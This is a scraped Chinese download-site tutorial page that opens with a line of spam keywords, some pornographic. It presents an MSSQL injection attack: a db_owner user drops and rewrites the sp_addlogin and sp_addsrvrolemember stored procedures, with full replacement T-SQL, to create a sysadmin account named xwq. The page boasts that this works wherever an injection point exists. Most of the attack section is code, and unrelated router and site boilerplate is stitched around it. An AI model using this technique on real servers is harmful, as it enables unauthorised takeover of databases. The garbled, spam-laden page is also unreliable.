亚洲人辣妹窥探嘘嘘,九九九九九九九九,黄色免费网址大全

導讀數據庫，簡而言之可視為電子化的文件柜——存儲電子文件的處所，用戶可以對文件中的數據進行新增、截取、更新、刪除等操作。所謂“數據庫”是以一定方式儲存在一起、能與多個用戶共享、具有盡可能小的冗余度、與應...

數據庫，簡而言之可視為電子化的文件柜——存儲電子文件的處所，用戶可以對文件中的數據進行新增、截取、更新、刪除等操作。所謂“數據庫”是以一定方式儲存在一起、能與多個用戶共享、具有盡可能小的冗余度、與應用程序彼此獨立的數據集合。

MSSQL注入通殺，只要有注入點就有系統權限
　　不知道大家看過這篇文章沒有，可以在db_owner角色下添加SYSADMIN帳號，這招真狠啊，存在MSSQL注射漏洞的服務器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember這兩個存儲過程，饒過了驗證部分。具體方法如下:先輸入drop procedure sp_addlogin,然后在IE里面輸入create procedure sp_addlogin
　　@loginame sysname
　　,@passwd sysname = Null
　　,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT
　　CONFIGURABLE???
　　,@deflanguage sysname = Null
　　,@sid varbinary(16) = Null
　　,@encryptopt varchar(20) = Null
　　AS
　　-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
　　set nocount on
　　Declare @ret int -- return value of sp call
　　-- DISALLOW USER TRANSACTION --
　　set implicit_transactions off
　　IF (@@trancount > 0)
　　begin
　　raiserror(15002,-1,-1,’sp_addlogin’)
　　return (1)
　　end
　　-- VALIDATE LOGIN NAME AS:
　　-- (1) Valid SQL Name (SQL LOGIN)
　　-- (2) No backslash (NT users only)
　　-- (3) Not a reserved login name
　　execute @ret = sp_validname @loginame
　　if (@ret <> 0)
　　return (1)
　　if (charindex(’\’, @loginame) > 0)
　　begin
　　raiserror(15006,-1,-1,@loginame)
　　return (1)
　　end
　　--Note: different case sa is allowed.
　　if (@loginame = ’sa’ or lower(@loginame) in (’public’))
　　begin
　　raiserror(15405, -1 ,-1, @loginame)
　　return (1)
　　end
　　-- LOGIN NAME MUST NOT ALREADY EXIST --
　　if exists(select * from master.dbo.syslogins where loginname =
　　@loginame)
　　begin
　　raiserror(15025,-1,-1,@loginame)
　　return (1)
　　end
　　-- VALIDATE DEFAULT DATABASE --
　　IF db_id(@defdb) IS NULL
　　begin
　　raiserror(15010,-1,-1,@defdb)
　　return (1)
　　end
　　-- VALIDATE DEFAULT LANGUAGE --
　　IF (@deflanguage IS NOT Null)
　　begin
　　Execute @ret = sp_validlang @deflanguage
　　IF (@ret <> 0)
　　return (1)
　　end
　　ELSE
　　begin
　　select @deflanguage = name from master.dbo.syslanguages
　　where langid = @@default_langid --server default
　　language
　　if @deflanguage is null
　　select @deflanguage = N’us_english’
　　end
　　-- VALIDATE SID IF GIVEN --
　　if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
　　begin
　　raiserror(15419,-1,-1)
　　return (1)
　　end
　　else if @sid is null
　　select @sid = newid()
　　if (suser_sname(@sid) IS NOT Null)
　　begin
　　raiserror(15433,-1,-1)
　　return (1)
　　end
　　-- VALIDATE AND USE ENCRYPTION OPTION --
　　declare @xstatus smallint
　　select @xstatus = 2 -- access
　　if @encryptopt is null
　　select @passwd = pwdencrypt(@passwd)
　　else if @encryptopt = ’skip_encryption_old’
　　begin
　　select @xstatus = @xstatus | 0x800, -- old-style
　　encryption
　　@passwd = convert(sysname, convert(varbinary
　　(30), convert(varchar(30), @passwd)))
　　end
　　else if @encryptopt <> ’skip_encryption’
　　begin
　　raiserror(15600,-1,-1,’sp_addlogin’)
　　return 1
　　end
[page_break]-- ATTEMPT THE INSERT OF THE NEW LOGIN --
　　INSERT INTO master.dbo.sysxlogins VALUES
　　(NULL, @sid, @xstatus, getdate(),
　　getdate(), @loginame, convert(varbinary(256), @passwd),
　　db_id(@defdb), @deflanguage)
　　if @@error <> 0 -- this indicates we saw duplicate row
　　return (1)
　　-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
　　SYSLOGINS CHANGE --
　　exec(’use master grant all to null’)
　　-- FINALIZATION: RETURN SUCCESS/FAILURE --
　　raiserror(15298,-1,-1)
　　return (0) -- sp_addlogin
　　GO
　　OK,我們新建個用戶exec master..sp_addlogin xwq
　　再drop procedure sp_addsrvrolemember,然后在IE里輸入
　　create procedure sp_addsrvrolemember
　　@loginame sysname, -- login name
　　@rolename sysname = NULL -- server role name
　　as
　　-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
　　set nocount on
　　declare @ret int, -- return value of sp call
　　@rolebit smallint,
　　@ismem int
　　-- DISALLOW USER TRANSACTION --
　　set implicit_transactions off
　　IF (@@trancount > 0)
　　begin
　　raiserror(15002,-1,-1,’sp_addsrvrolemember’)
　　return (1)
　　end
　　-- CANNOT CHANGE SA ROLES --
　　if @loginame = ’sa’
　　begin
　　raiserror(15405, -1 ,-1, @loginame)
　　return (1)
　　end
　　-- OBTAIN THE BIT FOR THIS ROLE --
　　select @rolebit = CASE @rolename
　　WHEN ’sysadmin’ THEN 16
　　WHEN ’securityadmin’ THEN 32
　　WHEN ’serveradmin’ THEN 64
　　WHEN ’setupadmin’ THEN 128
　　WHEN ’processadmin’ THEN 256
　　WHEN ’diskadmin’ THEN 512
　　WHEN ’dbcreator’ THEN 1024
　　WHEN ’bulkadmin’ THEN 4096
　　ELSE NULL END
　　-- ADD ROW FOR NT LOGIN IF NEEDED --
　　if not exists(select * from master.dbo.syslogins where
　　loginname = @loginame)
　　begin
　　execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
　　if (@ret <> 0)
　　begin
　　raiserror(15007,-1,-1,@loginame)
　　return (1)
　　end
　　end
　　-- UPDATE ROLE MEMBERSHIP --
　　update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
　　xdate2 = getdate()
　　where name = @loginame and srvid IS NULL
　　-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
　　SYSLOGINS CHANGE --
　　exec(’use master grant all to null’)
　　raiserror(15488,-1,-1,@loginame,@rolename)
　　-- FINALIZATION: RETURN SUCCESS/FAILURE
　　return (@@error) -- sp_addsrvrolemember
　　GO
　　接著再exec master..sp_addsrvrolemember xwq,sysadmin
　　這樣就建立了一個SA用戶了，用SQL連接器連接上就OK了。

全新的路由器不僅讓你更穩定快速地連接無線網絡，更可以讓家中的智能設備連接在一起。

溫馨提示：喜歡本站的話，請收藏一下本站！

當前位置:雨林木風下載站 > 應用軟件教程 > 詳細頁面

SQL注入攻擊通殺

本類教程下載

系統下載排行